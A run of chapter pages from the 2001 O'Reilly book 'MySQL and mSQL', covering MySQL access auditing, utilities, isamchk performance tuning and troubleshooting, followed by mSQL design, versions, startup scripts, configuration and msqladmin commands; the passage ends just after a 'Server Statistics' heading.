[4]For some reason, MySQL has shipped some distributions with the mysqlaccess script pointing to a nonstandard location for Perl binaries. If you get the response "command not found" when trying to execute mysqlaccess, you are almost certainly experiencing that problem. You will need to change line 1 of the mysqlaccess script so that it points to the proper location of your Perl binary, generally /usr/local/bin/perl.

Access-rights
for USER 'nobody', from HOST 'isp.com', to DB 'mydata'
        +-----------------+---+ +-----------------+---+
        | Select_priv     | Y | | Drop_priv       | N |
        | Insert_priv     | Y | | Reload_priv     | N |
        | Update_priv     | Y | | Shutdown_priv   | N |
        | Delete_priv     | Y | | Process_priv    | N |
        | Create_priv     | N | | File_priv       | N |
        +-----------------+---+ +-----------------+---+
BEWARE:  Everybody can access your DB as user 'nobody'
      :  from host 'isp.com' WITHOUT supplying a password.
      :  Be very careful about it!!

The following rules are used:
 db    : 'isp.com','mydata','nobody','Y','Y','Y','Y','N',
'N','N','N','N','N'
 host  : 'Not processed: host-field is not empty in db-
table.'
 user  : '%','nobody','','N','N','N','N','N','N','N','N','N'

As you can see, even if you understand MySQL security fully, mysqlaccess can be a valuable tool in auditing your server's security.

4.4.3.7. Making changes

MySQL loads the access tables at server startup. The advantage of this approach over constant lookups is speed. The downside, however, is that changes you make to the MySQL access tables are not immediately visible. In order to make those changes visible, you need to issue the command mysqladmin reload. If you change the tables through GRANT or REVOKE commands in SQL, you do not have to explicitly reload the tables.

Previous | Home | Next
4.3. Running MySQL | Book Index | 4.5. MySQL Utilities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MySQL Utilities (MySQL & mSQL)

 MySQL and mSQLSearch this book

4.5. MySQL Utilities

TcX distributes MySQL with a very rich cast of support utilities. Even with all it has provided, the set of third party tools available is even richer. In this section, we attempt to give a brief overview of these tools with a full description in Chapter 18, "PHP and Lite Reference".

4.5.1. Command Line Tools

isamchk

Performs checks on the underlying data files within the database. These files are called ISAM (Indexed Sequential Access Method) files. This utility can repair almost any kind of damage to an ISAM file. We discuss this in more detail later in the chapter.

isamlog

Reads logs generated by the MySQL server that relate to ISAM files. You can use a complete set of these logs to rebuild a table or to replay table changes after a certain period of time.

mysql

Creates a direct connection to the database server and lets you enter queries directly from a MySQL prompt. You will likely find that you use this more than any other tool.

mysqlaccess

Modifies the MySQL access rights tables and displays them in an easy to read form. Using this utility is a good way for you to learn about the structure of the MySQL access tables.

mysqladmin

Performs administrative functions. This utility can add or delete entire databases as well as shutdown the server itself.

mysqlbug

Reports a problem with MySQL to TcX. The output of this program will also be sent to the MySQL mailing list where the legion of MySQL volunteers will examine the problem.

mysqldump

Sends the complete contents of a table, including the table structure itself, to a file in the form of SQL statements that can recreate the table. You can use the output of this utility to recreate the table in another database or on another server.

mysqlimport

Reads a file of data and inserts it into a database table. This is a delimited file where the delimiters can be any of the common forms, like comma-delimited or quoted.

mysqlshow

Displays the structure of the databases on the server and the tables that make up those databases.

4.5.2. Third Party Tools

No vendor or developer can support everything a product might need all on their own. Open source products such as Linux have been so wildly successful due not only to the work of Linus Torvalds on the Linux kernel, but also to the hundreds, if not thousands, of third party products available for Linux. MySQL, too, has benefited from the work of third party developers. While we would like to list every third party product available, that list changes daily. Here we have tried to put together a representation of what is available. For a current list, visit the MySQL home page at http://www.mysql.com/Contrib.

4.5.2.1. Database conversion utilities

access_to_mysql

Converts Microsoft Access databases to MySQL tables. You insert this into Access as a function that enables you to save your table format in a manner that is exportable to MySQL.

dbf2mysql

Translates dBASE (DBF) files into MySQL tables. Even though dBASE is no longer as popular, the DBF format has become ingrained as the most common cross-application database file format. Every major desktop database can read and write DBF files. This application is thus useful when exporting data to or importing data from commercial desktop databases.

Exportsql/Importsql

Converts Microsoft Access databases to MySQL and vice versa. These tools are Access functions that can be used to export Access tables in a format readable by MySQL. They can also convert SQL output from MySQL and mSQL into a form readable by Access.

4.5.2.2. CGI interfaces

PHP

Creates HTML pages using special tags recognized by the PHP parser. PHP includes interfaces into most major databases, including MySQL and mSQL. We cover PHP in greater detail in Chapter 12, "PHP and Other Support for Database-driven HTML".

Mysql-webadmin

Performs web administration of MySQL databases. This tool enables users to view tables and modify their content using HTML forms.

Mysqladm

Performs web administration of MySQL databases. This CGI program displays tables over the web and supports the addition and modification of tables.

www-sql

Creates HTML pages from MySQL database tables. This program parses HTML files for special tags and uses that information to perform SQL statements against MySQL.

4.5.2.3. Client applications

Mysqlwinadmn

Provides the ability to perform MySQL administration from Windows. This tool enables you to perform the functions of mysqladmin from inside a GUI.

xmysql

Provides full access to MySQL database tables for an X Window System client. This tool supports bulk inserts and deletes.

xmysqladmin

Provides the ability to perform MySQL administration from the X Window System. This tool is a graphical user interface that enables you to create and drop databases and manage tables. You can also use this tool to make sure the server is running, reload access tables, and manage threads.

4.5.2.4. Programming interfaces

MyODBC

Implements the database-independent ODBC (Open Database Connectivity) API for MySQL on Windows.

Db.py

Provides MySQL access to Python scripts. This module supports the caching of retrieved data for better performance. We discuss Python programming against MySQL in Chapter 11, "Python", and provide a detailed reference in Chapter 20, "Python Reference".

Vdb-dflts

Provides a MySQL implementation of the Vdb database library. Vdb is a database-independent C API that enables common client code to access several different backend database servers. Vdb clients can use this API to access MySQL databases.

Delphi-interface

Exposes the MySQL API to Inprise's Delphi. Using this API, any Delphi application can access a MySQL database.

dump2h

Converts MySQL table structures into C header files. This program takes the normal output of mysqldump and generates a C header file that describes the table as a C struct.

mm.mysql.jdbc

Implements the Java standard JDBC (Java Database Connectivity) API. Chapter 14, "Java and JDBC", discusses Java programming against this API in detail, while Chapter 22, "JDBC Reference", provides a full reference for JDBC 2.0.

twzJdbcForMysql

Implements the Java JDBC API.

Mysqltcl

Provides a Tcl interface to MySQL.

MySQLmodule

Provides Python access into MySQL.

Mysql-c++

Wraps the MySQL C API in an object-oriented manner for access from C++ applications.

MySQL++

Provides object-oriented access to MySQL for C++ applications.

Pike-mysql

Enables users of the Roxen web server to write web applications that access MySQL.

Sqlscreens

Generates databases screens in Tcl/Tk from a MySQL database. This tool enables developers to build a custom GUI tied to MySQL tables.

Squile

Enables scripts written in Guile to access MySQL tables.

Wintcl

Supports the embedding of Tcl code in HTML files. Using this tool, you can easily build web applications that can access MySQL databases.

4.5.2.5. Miscellaneous

Emacs-sql-mode

Adapts the standard SQL mode for Emacs to support the nuances of MySQL's syntax. This mode provides indenting, syntax highlighting, and statement completion so that writing SQL is easier.

findres

Finds reserved words in MySQL tables. This program examines MySQL tables for instances of reserved SQL words that may upset other SQL database engines.

Hyalog

Stores outgoing faxes in a MySQL table. This program will watch for faxes sent from the HylaFax program and save a copy into a MySQL table.

mod_auth_mysql

Authenticates users of the Apache web server. Apache normally controls access through plain text files with user names and encrypted passwords. This Apache module enables you to manage access control inside a MySQL database.

mod_log_mysql

Logs web traffic from an Apache web server into a MySQL database.

mysqlpasswd

Supports the addition, deletion, or modification of user records stored in MySQL by the mod_auth_mysql Apache module.

Mysql_watchdog

Monitors MySQL to make sure that it is continuously operational and functioning within normal parameters.

Nsapi_auth_mysql

Authenticates users of the Netscape web server.

Pam_mysql

Provides a PAM (Pluggable Authentication Module) interface for MySQL. PAM provides user verification for a variety of services, including standard system login.

Wuftpd-mysql

Enables logging of FTP traffic with the popular WuFTP daemon to a MySQL database.

Previous | Home | Next
4.4. Database Administration | Book Index | 4.6. Performance Tuning
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Performance Tuning (MySQL & mSQL)

 MySQL and mSQLSearch this book

4.6. Performance Tuning

The difference between being a good DBA (Database Administrator) and being a top-notch DBA is the difference between knowing how to manage your database server and knowing how your database server lives and breathes. Solving performance problems is often a matter of understanding just how MySQL works under the covers so that you can optimize application performance to take advantage of those features.

MySQL presents three main potential bottlenecks for any connection. The first possibility is the network connection between the client and the server. Second is the processing time needed for activities like building keys. Finally, disk I/O can be a problem. MySQL provides variables that enable you to match MySQL's operations to your application environment. You can set each of these variables using the -O option to mysqld.[5] For example, you set back_log to 15 by adding the option -O back_log=15 to the options for mysqld. The following is a list of useful variables.

[5]Remember that the options to safe_mysqld are passed on to mysqld.

back_log

The number of TCP/IP connections that are queued at once. If you have many remote users connecting to your database simultaneously, you may need to increase this value. The trade-off for a high value is slightly increased memory and CPU usage.

key_buffer

A buffer allocated to store recently used keys. If you have slow queries, increasing this value could help. The trade-off is an increase in memory usage.

max_connections

The number of simultaneous connections allowed by the database server. If some users are being denied access during busy times, you may need to increase this value. The trade-off is a more heavily loaded server. In other words, CPU usage, memory usage, and disk I/O will increase.

table_cache

A buffer used to hold frequently accessed table data. If you gave the memory to hold them, keeping your tables in memory greatly reduces disk I/O. The trade-off is a significant increase in memory usage.

4.6.1. The MySQL Data Structure

MySQL stores each table as a set of three files. For example, a medium-sized table called mytable may look like this:

-rw-rw---- 1 root root  1034155 Jun  3 17:08 mytable.ISD
-rw-rw---- 1 root root    50176 Jun  3 17:08 mytable.ISM
-rw-rw---- 1 root root     9114 Jun  3 14:24 mytable.frm

The ISD file contains the actual data. The ISM file contains information about the keys and other internal data that enables MySQL to find data in the ISD file quickly. The frm file contains the structure of the table itself.

The ISM file is most important to the performance of MySQL. It is so important, in fact, that an entire utility, isamchk , is devoted to it. Running isamchk -d will display information about a table:

# isamchk -d mytable

ISAM file:     mytable
Data records:       1973  Deleted blocks:              0
Recordlength:        343
Record format: Packed

table description:
Key Start Len Index   Type
1   2     50  unique  text packed stripped

The important field to notice here is the "Deleted blocks" field. If this value is too high, then the file is wasting a lot of space. Fortunately, you can recover this space. The following command will examine the table and recreate it, removing most errors and eliminating unnecessary space:

isamchk -r mytable

You can obtain additional speed enhancements by running isamchk -a on the table. This command analyzes the distribution of data in a table. You should run it after you insert or delete numerous records from the table.

4.6.1.1. Repairing damaged tables

Due to server crashes or other acts of nature, a table in your database may become corrupted. When this happens, isamchk provides several different levels of repair:

isamchk mytable

NOTE

If you alter a table using isamchk while the database server is running, you may have to run mysqladmin reload to make the server see the updated table.

This command will repair most common problems with tables. Adding the -i and -v options will provide extra output about what is wrong. You can use more than one -v for extra information.

isamchk -rq mytable

This command will perform a quick check -- and repair, if necessary -- of only the ISM file. It will not check for corruption of the ISD file.

isamchk -e mytable

Using this option, you can perform a full check and repair of everything, eliminating any possible corruption. This sort of check will naturally take much longer than a regular check. The command will exit upon encountering the first severe error. If you want to continue reparations even after severe corruption is encountered, you can pass it the -v option. This option will guarantee the resulting table to be clean of corruption, but you may lose some data in the process.

NOTE

Always back up your data before running any command that may alter the contents of a table. The isamchk utility is very good about repairing errors, but sometimes that means erasing corrupt data that is interfering with the rest of the table. If you have a backup, you can use it to recover any data that isamchk erased.

4.6.1.2. Removing and replacing keys

Keys can sometimes get in the way of database performance. If, for instance, you want to insert a large data set into a table, having MySQL index the keys after every insert can be very inefficient. In addition, if you have a table with corrupt keys, blindly repairing that table with isamchk could delete some of the data associated with the key.

In these situations, it can be helpful to temporarily remove the keys from a table and then replace them when the troublesome work is finished. The following command will remove the key information from a table:

isamchk -rq -k0

When you are ready to put them back in, issue this command to replace the keys:

isamchk -rq

WARNING

Shut down the server before issuing isamchk with the -r option. If the server is running, isamchk-r could corrupt the table.

The isamchk command provides so many capabilities it can be hard to sift through them all. However, there are some basic guidelines to follow:

  • While the database is young, run isamchk -a often. For most database applications, the bulk of data is inserted near the beginning of the life of the database. If you run isamchk with the analyze option every time the size of your database doubles you can make sure the data is always kept in the most efficient form.

  • Run isamchk -d once or twice a year. If the number of deleted blocks used by your tables is a significant portion of your disk space run isamchk -r to rebuild your tables without the unneeded space. If you have an application that involves a great deal of deleting old data and inserting new data, run isamchk -d every couple of weeks and if the number of deleted blocks grows quickly, you may want to run isamchk -r routinely every month.

  • Except for removing and replacing keys, which should always be done anytime more than a few dozen rows is being inserted at once, all other forms of isamchk should be run only reactively, whenever inconsistencies in the database appear.

4.6.2. Troubleshooting

Even in the best of products, problems occur. Fortunately, many problems you might run into have happened to others. The following is a collection of frequently encountered trouble spots dealing with MySQL administration:

Changes to the access tables are not working.

Do not forget to issue the command mysqladmin reload after making changes to access tables.

MySQL is refusing connections at peak times.

  1. You should first check how many connections the server allows. The command mysqladmin variables will show this value under max_connections. You can set this value higher by starting mysqld with the -O max_connections=### where ### is the limit you wish to set.

  2. You can also check with the back_log value which determines the size of the queue that MySQL creates for incoming connections. The default value is 5. Versions of MySQL prior to 3.22.x could set this limit only as high as 64, but later versions can set it as high as 1024. Your operating system, however, may limit connections to 64.

  3. Finally, this problem can also be caused by file descriptor limits. In this case, the symptoms are that no connections at all are being allowed when MySQL has a large number of threads running. Unix systems handle setting the number of file descriptors in many different ways, so refer to your system documentation on how to increase the limit.

MySQL claims to be unable to find a file that definitely exists, or it reports errors while reading it.

Most of the time, this problem is a result of the file descriptor problem mentioned above. If, however, you increase MySQL's table cache, it will not have to open the table files so many times and you may avoid this problem. By default, the table cache value is 64. You can increase this value through the table_cache variable.

Threads start to pile up and they will not go away.

Certain systems, including Linux and some setups using NFS, have a problem with their file locking mechanism. This problem can result in a thread freezing. The mysqladmin processlist can help identify this problem. If the frozen threads report "System lock" under the "Command" field, use the --skip-locking option when starting mysqld.

Previous | Home | Next
4.5. MySQL Utilities | Book Index | 5. mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 5. mSQL

Contents:

Design
mSQL Versions
Installing mSQL
Running mSQL
Database Administration
mSQL Utilities

Database concepts and design are all extremely important, but you probably want to dive in and work with mSQL or MySQL. Chances are that you have chosen one database engine or the other to serve your needs. Perhaps, however, you are looking to this book to help you with that decision. In this chapter, we start diving into the details with mSQL. If you are already a committed MySQL user, you can skip over this chapter. If, on the other hand, you are a committed mSQL user or you want to learn about both database engines, this chapter is the place to start.

mSQL is the relational database management system (RDBMS) that initiated the era of cheap SQL database engines for small-to-medium sized database needs. Its small footprint, impressive speed, and short learning curve turned it into an excellent database choice for the growing population of start-up web developers who do not want to spend the time to become expert database programmers. The author of the mSQL database engine intentionally included all of these advantages when he set out to create a database product that could fill a gaping hole in database products.

5.1. Design

David Hughes had three specific design goals in mind for mSQL:

  • mSQL had to be fast.

  • mSQL had to have a small footprint.

  • mSQL had to be able to handle multiple simultaneous connections.

Speed was the primary motivation behind mSQL. Because most commercial SQL servers try to implement the full SQL2 specification in addition to their own proprietary extensions, they pay for that support in terms of performance and footprint. mSQL, however, sacrifices some of the more advanced features of the commercial database engines for speed. Minerva needed to be able to run many simple SQL queries quickly. mSQL does exactly that.

Speed and footprint go hand-in-hand. As Hughes discovered, if you start from the ground up and implement only the necessary functionality, you can design an SQL server that does not take up so many resources that it must be run on a machine by itself in order to be useful. As a result, mSQL has a large amount of the functionality of the major database engines using a fraction of the resources.

The speed and footprint improvements of mSQL would have been enough to make it a viable replacement for Postgres on the Minerva project. Hughes, however, also wanted to change the behavior that caused him to seek an alternative in the first place. Hughes specifically designed mSQL to handle multiple simultaneous connections within a single process. The result of these design goals is a small, fast, efficient SQL server capable of handling multiple connections, locally or over the network.

In order to implement this design, Hughes first needed to limit the functionality of the server. The mSQL dialect of SQL is a subset of the ANSI SQL2 standard that contains the most commonly used statements like CREATE, INSERT, SELECT, UPDATE, and DELETE.[6] Hughes left out resource intensive operations like transaction support. Because of the kind of applications mSQL supports, the functionality Hughes left out is generally not needed.

[6]We will cover the mSQL SQL dialect in Chapter 6, "SQL According to MySQL and mSQL".

mSQL is a queuing, single-threaded server. Any number of clients may connect to mSQL at the same time -- up to a defined limit. As each of these clients send queries to mSQL, the database engine sticks the queries into a synchronous queue and processes each query one at a time. The efficiency of this design is thus dependent on the ability of the server to handle each query quickly. If the queries are not processed in a timely manner, the queue will grow and eventually the server will crash from exceeding system limitations. Speed is therefore critical to the successful operation of mSQL. Figure 5-1 illustrates mSQL's queuing, single-threaded processing.

Figure 5-1. The client/server design of mSQL

The single-threaded nature of mSQL eliminates the need for batch processing. Because queries are handled one at a time, SQL statements do not have the ability to overwrite each other. It would, of course, be nice if mSQL supported transactions, but they are not necessary for the proper operation of a database engine with mSQL's design goals.

On the client side, mSQL supports two kinds of connections. Remote clients connect to the server through a well-known TCP/IP port. By basing connectivity on TCP/IP, an mSQL database can be made available to any machine in the world via the Internet. Local connections can also make use of the TCP/IP port, but they can get better performance by using a standard Unix socket. Unix socket connections are about 20 percent faster than TCP/IP connections.

Bundled with mSQL is a suite of programs that enables complete access to the database system. The mSQL monitor, msql, enables a user to submit queries directly to the server. While this tool is useful during development, most users will want to interface with the database through some sort of application. In order to support application development, mSQL has a built-in C API that enables any C program to connect to a mSQL server through either a TCP/IP or Unix socket.

mSQL also provides a network protocol that enables other languages to connect to mSQL over a network without the need for using the C API. With these two types of interfaces, developers in a host of languages have put together libraries for connecting to mSQL in just about any language you can imagine. In this book, we cover the C, Perl, Java, and Python APIs.

Previous | Home | Next
4.6. Performance Tuning | Book Index | 5.2. mSQL Versions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL Versions (MySQL & mSQL)

 MySQL and mSQLSearch this book

5.2. mSQL Versions

When mSQL arrived on the scene, it made an immediate impact on the development community. For the first time, people had access to an affordable, SQL-based database engine. Among its more amazing aspects was that it not only compared with the major database engines in terms of performance, but that it was actually faster -- sometimes over 100 times faster -- in the areas for which it was designed.

Today, however, the computing environment does not stay still for long. With the advent of large-scale Internet collaboration, no project is beyond the reach of a dedicated base of programmers. By 1996, other cheap SQL implementations -- one of which is MySQL -- were appearing on the scene. mSQL was no longer alone.

Throughout the 1990s, Hughes has been developing and improving mSQL. The database engine, however, eventually reached the point where further development required some extensive rethinking of the entire project. Such a huge undertaking was bound to take a great deal of time as any new project has its share of new bugs and setbacks. During this time, it would also be necessary to maintain the existing product. mSQL 2 was thus born as the new rebuild of the mSQL engine while the existing product, mSQL 1, continued to be maintained.

mSQL 2 came along when the initial product was beginning to show its age. Stability problems and lack of important functionality, such as the support of important datatypes, were leading people to look for other solutions like MySQL. mSQL 2 provided fixes for a large range of bugs that plagued later releases of mSQL 1 and added a host of new features while remaining true to its original design goals. The subset of ANSI SQL supported by mSQL grew and a number of new datatypes were added. The indexing feature was reworked to provide much more powerful table indexing.

The major changes between mSQL 1 and 2 are:

Increased stability and performance

The initial release of mSQL 2 fixed all of the known stability problems of mSQL 1. Memory leaks were eliminated and the code was extensively profiled to remove bugs. In addition, overall performance increased in spite of the new features.

Improved indexing support

The first version of mSQL implemented a very weak indexing scheme. Each table could have exactly one index made up of exactly one column -- the primary key. Indexing has been completely rewritten for mSQL 2 to support more complex and common indexing needs. You can now have multiple indices per table, and an index can be made up of more than one column. Indexing now also supports both B-Tree and AVL style index files.

More datatypes

mSQL 2 has added many new datatypes, bringing it close to a complete implementation of the ANSI SQL2 specification. Along with MONEY, DATE, and TIME types, mSQL 2 now supports a TEXT datatype. In the initial mSQL release, all fields were fixed length so that all text fields -- type CHAR -- had their lengths predefined. In order to support common attributes, such as email addresses or book titles, you had to define a large CHAR field that largely wasted space for a majority of addresses or titles. For example, for an email address field, you would have to define a CHAR(35) field. Even if your email address was "xxx@imaginary.com," mSQL used a full 35 characters for the entry. Furthermore, if you encountered an email address that was longer than 35 characters, you were out of luck. The new TEXT datatype takes care of both problems by enabling you to define an average length for the field. Anything over that length will be stored in an overflow buffer. Anything less will not cause extra characters to be stored. Unfortunately, TEXT fields are still lacking in that they cannot serve as indices and cannot be used in LIKE clauses.

Enhanced tools and API support

The standard tools provided with mSQL have been enhanced to support all of the new mSQL features. Hughes has added new functionality to the tools, such as the table copy and rename feature in msqladmin. The World Wide Web interactivity application W3-mSQL has been given a major overhaul with many enhancements. The scripting language has been reworked into Lite, a language with features that directly support web/database interactivity.

If you are new to mSQL, you almost certainly will be working with mSQL 2. If you are dealing with a legacy system, however, you should be very conscious of the distinctions between the two versions -- especially if you intend to upgrade to mSQL 2.

Previous | Home | Next
5. mSQL | Book Index | 5.3. Installing mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

5.3. Installing mSQL

Your first step in working with mSQL is naturally to download the product and install it. How you go about that depends on what platform you intend to use. mSQL was born as a Unix application and that is the platform Hughes supports. If you run some variant of Unix, mSQL is almost certain to work for you. Even if it does not, mSQL comes in source code form, meaning that an experienced C coder can fix any compatibility issues for oddball Unix systems. The Unix distribution is found at http://www.hughes.com.au.

If you are using Windows or OS/2, you are not left out in the cold. Both Win32 and OS/2 ports are being actively maintained. The mSQL PC home page at http://blnet.com/msqlpc/ is the place to look for the most recent Win32 and OS/2 ports. While these ports are relatively current, they are always going to be a bit behind the latest and greatest from Hughes. At the time of this book's printing, the current Unix version was 2.0.7 while the current Win32 version is 2.0.4.1 and the current OS/2 version is 2.06. Mac users are mostly out of luck. Only the client tools for mSQL have been ported to the Mac.

The act of actually installing mSQL depends on your platform. Unix users will have to compile their distribution, while Win32 and OS/2 users are presented with the precompiled binaries. Because installation procedures can change from release to release, we will not go into the details of an mSQL install here. You should instead consult the documentation that comes with your release since it is certain to be up to date with the exact procedures for your release.

Previous | Home | Next
5.2. mSQL Versions | Book Index | 5.4. Running mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

5.4. Running mSQL

mSQL is really the only database engine that is "install and go." In other words, you can install mSQL and start the server right up and be in business. The mSQL server process is called msql2d (for mSQL 1 servers, it is called msqld). This executable and all of the utilities that come with an mSQL distribution can be found in the bin directory. You can start up an mSQL instance simply by issuing the msql2d command with no command line options.

This default implementation will get you only so far. In most cases, you will want to edit a file in the mSQL distribution directory called msql.conf. This configuration file enables mSQL 2 users (it does not exist under mSQL 1) to specify a few common options. Configuring this file is generally necessary only when you are using some precompiled mSQL distribution.

The mSQL daemon process does not fork. This means that running it from the command line will leave the process running in your terminal unless you explicitly press CTRL-C to kill the process or put the process in the background. Under Unix, you can start the mSQL server from the command line in the background using the following command:

msqld2 &

The following script works to start up an mSQL server process at system start-up and to shut it down cleanly on system shutdown:

#!/bin/sh

if [ $1 = "start" ]; then
  if [ -x /usr/local/Hughes/bin/msql2d ]; then
       su msql -c '/usr/local/Hughes/bin/msql2d &'
  fi
else
  if [ $1 = "stop" ]; then
    if [ -x /usr/local/Hughes/bin/msqladmin ]; then
         su msql -c '/usr/local/Hughes/bin/msqladmin shutdown'
    fi
  fi
fi

This example script assumes that you want to run mSQL on Unix under the user ID "msql." You should naturally replace it with whatever user ID you wish to run mSQL under and replace /usr/local/Hughes with the directory where you installed mSQL.

While the Win32 does not yet run as an NT service, you can run mSQL from the StartUp folder simply by sticking a shortcut to the msql2d.exe file into the StartUp folder. (We will cover the msqladmin command later in the chapter.)

While mSQL is a very stable product, every once and a while things just happen and the server dies. In particular, earlier versions of mSQL did have stability issues that caused the server to crash unexpectedly. For those occasions, you want to have something running that will check on the status of the database server.

The following Unix script will perform a thorough check to see that the msql2d daemon is still running. If the daemon is inactive, it is restarted and a message is sent to the administrator of the machine.

#!/bin/sh

# Retrieve the process ID of the database daemon
# This is for a default mSQL 2 installation, for mSQL 1
# the line should be:
# PID=`cat /usr/local/Minerva/msqld.pid`
PID=`cat /usr/local/Hughes/msql2d.pid`

# This checks to see if the server process is running.
# Use this line for BSD systems (Linux)
ALIVE=`ps aux | grep $PID | grep -v grep | awk '{print $2}'`
# Uncomment this line for SYSV systems (Solaris)
#ALIVE=`ps -ef | grep $PID | grep -v grep | awk '{print $2}'`

if [ $ALIVE ]
then
    REALLY_ALIVE='msqladmin version'
    DATE='date'

    # If the first word of the result is 'ERROR', or if
    # there was no output at all, the msqladmin
    # program was not able to connect to the database server
    if ! echo $REALLY_ALIVE | grep "^ERROR"
    then
        exit
    fi
    if [ ! $REALLY_ALIVE ]
    then exit; fi
else
    # This should be /usr/local/Minerva/bin/msqld &
    # for mSQL 1 installations
    /usr/local/Hughes/bin/msql2d &
mail -s "mSQL daemon restarted" root@yourmachine.com <<EOM
The mSQL daemon died unexpectedly and was restarted
on $DATE.

Sincerely,
The mSQL Watchdog
EOM

fi

Once started, mSQL is ready to communicate with the outside world in two different ways. Communication with the Internet happens through a TCP/IP port. mSQL listens to port 1112 by default. mSQL 2 listens to port 1114. You can, however, change which port the server listens to either at compile time (mSQL 1) or in the configuration file (mSQL 2).

Internal communication happens through Unix sockets. Unix sockets appear as regular files in the file system of a Unix server. You can distinguish them from regular files because they are followed by the character when using the `-F' flag for the ls command. mSQL 1 uses the file /dev/msql while mSQL 2 uses the file /usr/local/Hughes/msql2.sock.

5.4.1. Running Multiple Daemons

You may find it useful at times to run more than one database server at a time. Performance is the most common cause for you to want to do this. Because of mSQL's single-threaded nature, it handles all requests serially. If one of your databases -- or even one of your tables -- is responsible for a large percentage of your database hits, applications which hit other databases or tables may end up spending a lot of time waiting on queries that hit that database or table.

You will not encounter this problem with a multithreaded server like MySQL, but you can get around it in mSQL by running multiple mSQL processes. This solution is limited in that only one daemon may have access to a particular database. Without this limitation, two daemons could overwrite each other's changes. You can accomplish this by giving each running msql2d instance its own base directory under which its data is stored. You can do this in mSQL 2 via command line options and the configuration file. Under mSQL 1, you actually have to compile and install mSQL multiple times into multiple installation directories.

To set up the second directory for mSQL 2, use the following:

mkdir -p /usr/local/second_database/msqldb/.tmp
cp /usr/local/Hughes/msql.conf /usr/local/Hughes/msql.acl\
/usr/local/second_database
chown -R msql /usr/local/second_database

NOTE

Some Unix systems use the mkdirs command instead of mkdir -p while some may not have that option at all. If the option does not exist, you will have to create each directory separately. Also, you need to substitute the user ID under which you run msql2d if it is different from "msql." Finally, the steps are identical if you are working under Windows or OS/2 -- only the command names and the path separator change.

Once the directories are created and the files copied, you need to edit msql.conf in the new directory to change Inst_Dir to point to /usr/local/second_database and TCP_Port to some value that does not conflict with any other TCP service on the server. You can leave the Unix_Port option unchanged since the new socket will go in the new directory.

To launch the new daemon, run the old msql2d command with the following option:

msql2d -f /usr/local/second_database/msql.conf

If you are working with mSQL 1, life is a little more complicated. You specifically have to compile and install mSQL once for each server instance you wish to run. All of your utilities will work with any instance of your server.

5.4.2. The mSQL Configuration File

We have touched on the mSQL configuration file in places, but we have not really gone into any detail on it. Under mSQL 1, everything except security was defined at compile time. mSQL 2 provides a configuration file that enables you to configure the runtime behavior of your mSQL server. A mSQL configuration file might look like this:

[general]

Inst_Dir = c:\usr\local\Hughes
mSQL_User = msql
Admin_User = root
Pid_File = %I\msql2d.pid
TCP_Port = 1114
Unix_Port = %I\msql2.sock

[system]

Msync_Timer = 30
Host_Lookup = True
Read_Only = False
Remote_Access = True
Local_Access = True

[w3-msql]

Auth_Host = NULL
Footer = True
Force_Private = False

Like a Windows INI file, the mSQL configuration script is divided into sections, each with its own set of key/value pairs. At this point, the only parts of the mSQL configuration file of interest to us are in the general section.

Inst_Dir

The mSQL installation directory. More specifically, this directory is where mSQL looks for your ACL file, the mSQL PID file, and the msqldb directory where the server's database directories are housed. Using this configuration key, you can support multiple mSQL servers with a single set of mSQL binaries.

mSQL_User

The user ID under which the mSQL process is running.

Admin_User

The user ID allowed to execute administrative commands such as the msqladmin command discussed in the next section of this chapter.

TCP_Port

The TCP/IP port to which this server will be listening. Under Unix, you can only choose a port number less than 1024 if the mSQL server is running as the root user.

Unix_Port

The name of the Unix socket file. In this file, we used the %I% variable to stand for the value of Inst_Dir.

Previous | Home | Next
5.3. Installing mSQL | Book Index | 5.5. Database Administration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Administration (MySQL & mSQL)

 MySQL and mSQLSearch this book

5.5. Database Administration

Now that your server is running 24 hours a day, 7 days a week, your next task is to get it to serve your database needs. mSQL provides a set of utilities that support easy server administration.

5.5.1. The msqladmin Utility

The msqladmin utility is your primary database administration tool. It supports creating, deleting, copying, renaming, and examining your mSQL databases. If you look back to our discussion of what a database is in Chapter 1, "Introduction to Relational Databases", you will remember that mSQL itself is not a database. Your databases are the collection of files under each directory in the msqldb directory. mSQL is the database engine. One engine can serve many databases simultaneously. The msqladmin utility lets you administer the databases under a particular server.

5.5.1.1. Database creation

The first thing you want to do with your new mSQL installation is create a database that serves some purpose for you. The syntax of creating a database is:

msqladmin create DATABASENAME

In this syntax, DATABASENAME is the name of the new database you wish to create. This command will create a new, blank database with the name you specify. As we mentioned earlier, a database in mSQL is simply a directory under the msqldb directory in the mSQL installation. mSQL places all the data associated with your new database in files underneath this directory. For example, if you create a database called "mydata" using a default mSQL installation, the directory /usr/local/Hughes/msqldb/mydata will appear.

5.5.1.2. Database destruction

During the process of developing a new database application, you will likely want to create several databases to support the development process. For example, it is common in database application development to have separate databases for development, testing, and production. When development is complete, it is time to get rid of the development and testing databases. The msqladmin utility provides the "drop" option to let you delete a database:

msqladmin drop DATABASENAME

As with the msqladmin create command, DATABASENAME is the name of the database you wish to destroy. mSQL will not let you accidentally drop the database. After issuing this command, it will warn you that dropping a database is potentially a very bad thing to do and ask you to confirm the drop. You can examine the msqldb directory after dropping the database to verify that the directory that once served as that database no longer exists.

5.5.1.3. Database renaming and copying

A convenient new feature of mSQL 2 is the ability to copy and rename databases. Under mSQL 1, you could drop to the file system and do a manual rename or copy of the database directory using the renaming and copying tools of your operating system. If you go that route, however, you also have to remember to restart the mSQL server and make sure you have not messed up any permissions. With mSQL 2, however, a rename is as simple as:

msqladmin move OLDNAME NEWNAME

For example, if you had created a database with the misspelled name "midata" and you wanted to rename it to the proper spelling, you would issue the command:

msqladmin move midata mydata

Copying is just as simple:

msqladmin copy mydata mynewdata

5.5.1.4. Server status

If you have been playing with MySQL, you will notice that the monitoring of server status is one area in which mSQL is decidedly lacking. The msqladmin utility is your interface into monitoring your servers. The msqladmin stats command under mSQL 2 will produce the following output:

Server Statistics
-----------------

